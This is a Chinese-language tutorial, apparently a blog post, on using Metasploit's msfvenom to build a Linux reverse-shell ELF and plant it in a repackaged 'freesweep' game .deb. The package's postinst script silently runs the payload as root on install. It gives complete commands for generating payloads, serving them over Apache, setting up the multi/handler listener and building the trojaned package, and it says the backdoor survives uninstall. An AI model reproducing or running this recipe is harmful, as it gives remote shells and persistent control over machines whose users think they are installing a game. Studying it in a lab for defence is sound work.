使用 Metasploit 制作 Linux 可执行文件及恶意 deb 包获取 Shell
本文演示了利用 Metasploit 框架中的 msfvenom 工具生成 Linux 平台的反向 TCP Shell 载荷,并通过 Apache 服务分发执行。同时介绍了如何基于合法的 Debian 软件包结构,植入恶意脚本至 postinst 安装后处理流程中,构建包含后门功能的恶意 deb 安装包,实现持久化控制。

本文演示了利用 Metasploit 框架中的 msfvenom 工具生成 Linux 平台的反向 TCP Shell 载荷,并通过 Apache 服务分发执行。同时介绍了如何基于合法的 Debian 软件包结构,植入恶意脚本至 postinst 安装后处理流程中,构建包含后门功能的恶意 deb 安装包,实现持久化控制。

msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -f elf -o /var/www/html/xuegod
参数补充详解:
--platform: 指定 Linux-f: 指定 ELF 即 Linux 操作系统的可执行文件类型-b: 去掉坏字符/etc/init.d/apache2 start
msf6 > use exploit/multi/handler
msf6 > set payload linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.53
msf6 > set LPORT 4444
msf6 > run
在目标 Linux 虚拟机(如 CentOS 7.5)中新建终端:
wget http://192.168.1.53/xuegod
chmod +x xuegod
./xuegod
连接成功后,在 MSF 控制台查看 Session 信息:
meterpreter > ifconfig
注意: 退出 session 需要使用
quit正常退出,否则会影响下次连接。
使用 --download-only 方式下载软件包不进行安装:
apt --download-only install freesweep
将软件包移动到 root 目录:
mv /var/cache/apt/archives/freesweep_1.0.2-1_amd64.deb ~/
解压软件包到 free 目录:
cd ~
dpkg -x freesweep_1.0.2-1_amd64.deb free
注意: 生成软件包时无论是 payload 的和软件包信息都需要选择能够在目标操作系统上执行的创建软件包信息目录。
msfvenom -a x64 \
--platform linux \
-p linux/x64/shell/reverse_tcp \
LHOST=192.168.1.53 \
LPORT=4444 \
-b "\x00" \
-i 10 \
-f elf \
-o /root/free/usr/games/freesweep_sources
mkdir free/DEBIAN && cd free/DEBIAN
tee /root/free/DEBIAN/control << 'EOF'
Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers ([email protected])
Description: a text-based minesweeper
Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer.
Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use.
EOF
tee /root/free/DEBIAN/postinst << 'EOF'
#!/bin/bash
sudo chmod 2755 /usr/games/freesweep_sources
sudo /usr/games/freesweep_sources &
EOF
给脚本文件添加执行权限:
chmod 755 /root/free/DEBIAN/postinst
dpkg-deb --build /root/free/
注意: 会在当前目录下生成构建的软件包
free.deb。
新打开一个终端,生成 MSF 监听:
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.53
set LPORT 4444
run
回到 MSF 控制台,执行安装命令:
dpkg -i free.deb
回到 MSF 控制台查看 Session:
meterpreter > getuid
最后卸载软件包:
dpkg -r freesweep
即使恶意软件包被卸载,payload 依旧正常运行。退出即可。
exit

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online
通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online
将JSON字符串修饰为友好的可读格式。 在线工具,JSON美化和格式化在线工具,online